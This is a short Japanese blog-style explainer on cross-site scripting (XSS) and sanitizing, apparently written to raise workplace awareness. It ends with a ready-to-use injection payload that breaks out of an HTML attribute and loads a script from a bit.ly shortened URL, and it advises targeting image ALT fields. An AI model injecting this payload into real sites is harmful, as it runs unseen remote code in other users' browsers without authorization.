XSSとは
悪意のあるjavascriptコードが入力フォームから登録されると、登録された値が表示されているWebページを閲覧した際にスクリプトコードが実行されてしまいすべてのユーザーが悪意のあるスクリプトコードが実行されてしまう脆弱性です。
悪意をもったスクリプトがサイトを横断して実行されることからクロスサイトスクリプティングと命名されています。
XSSの危険性
悪意のあるjavascript が実行されるということは・・
- ユーザーが入力したパスワードを非同期で別サーバーに送信することが可能
- ユーザーが閲覧している画面のキャプチャ画像を取得することが可能
- 画面をクリックした際にアダルトサイトなど別の内容に書き換えて表示させることが可能
など、ユーザーにとって、悪いことが起こります。
悪意のあるコードを登録されても問題ないようにするためには、サニタイズをして登録された値がスクリプトコードではないようにブラウザに解釈させる必要があります。
サニタイズとは
サニタイジングとは、テキストデータ上の「&」や「>」など特殊文字を一般的な文字列に変換する処理のことである。
これを作った目的
職場のプロジェクトでサニタイズ処理を意識して組み込んでいる人が少なく、XSSの脆弱性があるとこんなやばい事態になるんだぞ!という意識付けをさせるために作成した。
XSSカイジ(XSSの検証デモページ)
デモ用のページを用意しました。こちら のページにある「ここをクリックしてみてね」のリンクをクリックすると、ページ内にスクリプトコードが埋め込まれてアニメーションが実行されます。
使い方
XSSの脆弱性テストをしたいWebサイトの入力フォームに以下のような値を登録して下さい。画像のALTタグに設定するような入力フォームはフロント表示の際にサニタイズ漏れが多く発生しやすい傾向があります。
"><script src="//bit.ly/2w2D5xF"></script>